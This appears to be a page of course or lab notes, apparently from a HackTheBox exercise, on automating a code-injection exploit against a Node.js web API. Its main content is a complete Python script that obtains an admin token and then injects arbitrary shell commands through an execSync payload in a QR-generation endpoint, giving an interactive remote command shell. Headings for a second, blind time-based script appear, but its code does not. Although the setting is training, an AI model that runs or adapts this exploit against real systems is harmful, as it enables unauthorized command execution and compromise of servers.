Exploit Development
Overview
Automate the exploitation process with a Python script for easy reproduction and testing.
Exploit Plan
1
Obtain admin token (once)
2
Ask user for command
3
Inject command into payload
4
Send authenticated POST request
5
Parse response, print output
6
Loop back to step 2
HTTP Response Injection Exploit
Full Script
#!/usr/bin/python3
import requests
import json
# Configuration
server = "localhost"
port = 5000
url = f"http://{server}:{port}"
auth_endpoint = f"{url}/api/auth/authenticate"
qr_endpoint = f"{url}/api/service/generate"
# Get admin token
headers = {"Content-Type": "application/json"}
data = {"email": "test@hackthebox.com"}
response = requests.post(auth_endpoint, headers=headers, data=json.dumps(data))
token = response.json()['token']
print(f"[+] Got admin token")
# Command execution loop
while True:
user_input = input("\n> ")
# Escape single quotes (breaks JS payload)
user_input = user_input.replace("'", '"')
# Build payload
payload = {
"text": "' + require('child_process').execSync('" + user_input + "').toString() + `'`, statusCode: 403})//"
}
# Send request
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {token}"
}
response = requests.post(qr_endpoint, headers=headers, data=json.dumps(payload))
# Parse and print output
try:
output = response.json()['message'].split("The input \"")[1][:-2]
print(output)
except:
print("[-] Error parsing response")Usage
Time-Based Blind Exploit
Full Script
Usage
Code Breakdown
1. Token Acquisition
2. Quote Escaping
Single quotes break the JS payload: execSync('...')
3. Payload Construction
4. Response Parsing
Split after
The input "Remove last 2 chars (
\n')
Improvements
Error Handling
Command History
Timeout Handling
Cleanup Considerations
When Cleanup Needed
Read commands (ls, cat)
β No
Write files
β Yes - delete files
Create users
β Yes - remove users
Modify configs
β Yes - restore original
This Exploit
No cleanup needed - only executes read commands.
Final Checklist
1
Hit validateString function
β
2
Trace input in function
β
3
Obtain admin role
β
4
Reach eval function
β
5
Prepare payload
β
6
Confirm payload reaches target
β
7
Confirm code injection
β
8
Reach command execution
β
9
Verify execution blindly
β
10
Automate exploitation
β
Summary
HTTP Response Exploit
Fast execution
Direct output
~10 lines of core code
Blind Time-Based Exploit
Works without output visibility
Slower (2s per character match)
More complex logic
Next Steps
Test on production target
Document findings
Provide patches
Write report
Last updated